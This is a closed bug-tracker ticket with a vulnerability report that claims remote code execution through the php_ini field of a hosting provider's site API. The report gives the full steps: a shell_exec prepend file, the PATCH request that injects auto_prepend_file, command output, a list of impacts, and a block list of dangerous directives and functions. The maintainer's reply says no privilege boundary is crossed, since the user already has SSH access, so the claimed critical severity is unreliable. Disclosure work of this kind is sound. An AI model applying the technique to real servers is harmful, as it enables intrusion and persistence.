- Status Closed
-
Assigned To
cbay - Private
Opened by saini - 14.07.2026
Last edited by cbay - 15.07.2026
FS#410 - Unrestricted PHP ini Directive Injection via php_ini field leads to Remote Code Execution (RCE)
TITLE: Unrestricted PHP ini Directive Injection via `php_ini` field leads to
Remote Code Execution (RCE)
MODULE: Site Management (API)
SEVERITY: CRITICAL (CVSS 3.1: 9.8)
SUMMARY
The `php_ini` field in the Site Management API (PATCH /v1/site/{id}/) accepts
arbitrary PHP ini directives with NO validation or sanitization. An attacker
with API access can inject directives such as `auto_prepend_file` to execute
arbitrary PHP code on every PHP page request.
Additionally:
- `open_basedir` is NOT set (no filesystem restriction)
- `shell_exec()`, `exec()`, `system()`, `passthru()` are NOT disabled
- The PHP configuration applies immediately without a restart
- PHP-FPM runs as the authenticated user (uid=534062, saini)
This allows an authenticated attacker to achieve FULL remote code execution
on the server, running system commands as the account user, reading/writing
any file the user has access to, and installing persistent backdoors.
STEPS TO REPRODUCE
Prerequisites:
- A valid alwaysdata API token with account access
- An existing PHP site (site_id known)
- SSH/FTP access to write a PHP file (or existing PHP file in DocumentRoot)
Step 1: Verify the site accepts PHP execution
Access any PHP file in the DocumentRoot:
GET /info.php HTTP/1.1 Host: victim.alwaysdata.net
Response: 200 OK MAIN_SCRIPT_EXECUTED
PHP execution is confirmed.
Step 2: Create a PHP prepend file that executes a system command
Write a file (e.g., via SSH or FTP) to the account's home directory:
File: /home/{account}/www/cmd_prepend.php
Content:
<?php echo "CMD:" . shell_exec("id 2>&1") . "|";
Step 3: Inject auto_prepend_file via the php_ini field
Request:
PATCH /v1/site/1060051/ HTTP/2 Host: api.alwaysdata.com Authorization: Basic <base64-encoded-credentials> Content-Type: application/json alwaysdata-synchronous: 1 Accept: application/json
{"php_ini":"auto_prepend_file = /home/saini/www/cmd_prepend.php"}
Response: 204 No Content
The directive is accepted verbatim with NO validation.
Step 4: Access any PHP page to trigger code execution
Request:
GET /info.php HTTP/1.1 Host: victim.alwaysdata.net Accept: text/html
Response: 200 OK
CMD:uid=534062(saini) gid=489542(saini) groups=489542(saini)|MAIN_SCRIPT_EXECUTED
The PHP ini directive was applied and the system command `id` executed
successfully, returning the user and group IDs. This confirms arbitrary
code execution on the server.
Step 5: Restore original configuration
Request:
PATCH /v1/site/1060051/ HTTP/2 Host: api.alwaysdata.com Authorization: Basic <base64-encoded-credentials> Content-Type: application/json alwaysdata-synchronous: 1 Accept: application/json
{"php_ini":""}
Response: 204 No Content
ADDITIONAL TESTS AND FINDINGS
Test A: Verify no open_basedir restriction
A PHP script was executed to check security restrictions:
Output: /tmp: WRITABLE | READABLE /: NOT_WRITABLE | READABLE CWD: /home/saini/www USER: saini TMP: /home/saini/admin/tmp OPEN_BASEDIR: ↠EMPTY - NO RESTRICTION DOCROOT: /home/saini/www/
No open_basedir is configured, allowing PHP to access any path the user
has filesystem permissions for.
Test B: Verify dangerous functions are not disabled
All of the following functions were confirmed working:
- shell_exec() → executes system commands
- exec() → executes system commands
- system() → executes system commands
- passthru() → executes system commands
- file_get_contents() → reads any file
- file_put_contents() → writes to any writable path
- popen() → executes system commands
- proc_open() → executes system commands
Test C: The php_ini directive takes effect immediately
No server restart or PHP-FPM reload was required. The directive was applied
and reflected in the very next HTTP request.
Test D: auto_prepend works from any path accessible to PHP
The auto_prepend_file directive was tested with files in multiple locations:
- /home/{account}/www/prepend.php → WORKS
- Absolute paths are resolved correctly
IMPACT
An attacker with API access can achieve FULL REMOTE CODE EXECUTION on the
alwaysdata shared hosting server, with the following capabilities:
1. EXECUTE ARBITRARY SYSTEM COMMANDS
- Run any shell command as the account user
- Install backdoors, malware, cryptominers
- Launch attacks against internal network services
2. READ/WRITE ANY FILE
- Read database configuration files, credentials
- Modify existing PHP files to include persistent backdoors
- Access other users' files if permissions allow
- Read application source code and secrets
3. PERSISTENT ACCESS
- Create new PHP files in the web directory
- Modify .htaccess or Apache configuration
- Set up cron jobs or other persistence mechanisms
- Exfiltrate data to external servers
4. PIVOT TO INTERNAL SERVICES
- Access MySQL/MariaDB, PostgreSQL, Redis, or other local services
- Read local network configuration
- Potentially access cloud metadata endpoints (169.254.169.254)
5. COMBINATION WITH PATH TRAVERSAL
- When combined with the path traversal vulnerability (ALW-SITE-002),
the attacker can set DocumentRoot to / and execute PHP code at the
same time, amplifying the attack surface significantly.
CVSS 3.1 SCORE
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (CRITICAL)
Attack Vector: Network (AV:N) - Exploitable remotely via API Attack Complexity: Low (AC:L) - Simple PATCH request
Privileges: Low (PR:L) - Requires valid API token
User Interaction: None (UI:N) - No victim action needed
Scope: Unchanged (S:U) - Within account boundaries
Confidentiality: High (C:H) - Read any file, execute commands
Integrity: High (I:H) - Write/modify any file
Availability: High (A:H) - Can delete files, disrupt service
Note: Scope is "Unchanged" because the execution runs as the authenticated
user. If the attacker can read other users' data (cross-tenant), Scope
would be "Changed" and score would increase to 10.0 (CRITICAL).
REMEDIATION RECOMMENDATION
1. IMPLEMENT DIRECTIVE ALLOWLIST
- Only allow safe PHP ini directives such as:
- memory_limit, upload_max_filesize, post_max_size
- max_execution_time, max_input_time
- date.timezone, error_reporting
- Block dangerous directives:
- auto_prepend_file, auto_append_file
- disable_functions, disable_classes
- open_basedir, allow_url_include
- extension_dir, extension
- error_log (to prevent log injection)
2. ENFORCE OPEN_BASEDIR
- Always set open_basedir to restrict PHP to the account's home
directory, preventing access to system files and other users' data.
3. DISABLE DANGEROUS FUNCTIONS AT THE PHP-FPM POOL LEVEL
- Add disable_functions = shell_exec, exec, system, passthru, popen,
proc_open, pcntl_exec to the account's PHP-FPM pool configuration.
- This should NOT be overridable through the php_ini field.
4. INPUT VALIDATION
- Validate that the php_ini field only contains approved directives.
- Reject any input containing "=" assignments for unapproved directives.
- Parse the input server-side and apply only allowed values.
5. SERVER-LEVEL FIX (DEFENSE IN DEPTH)
- In the PHP-FPM pool configuration, set:
php_admin_value[auto_prepend_file] = none
php_admin_value[open_basedir] = /home/{account}/
- php_admin_value directives CANNOT be overridden by user-level ini
directives, providing a secure baseline.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
POC Remote Code Execution.pdf
Hello,
PHP runs as your own user and you have a full SSH access anyway, so you can already run any command you want.
Kind regards,
Cyril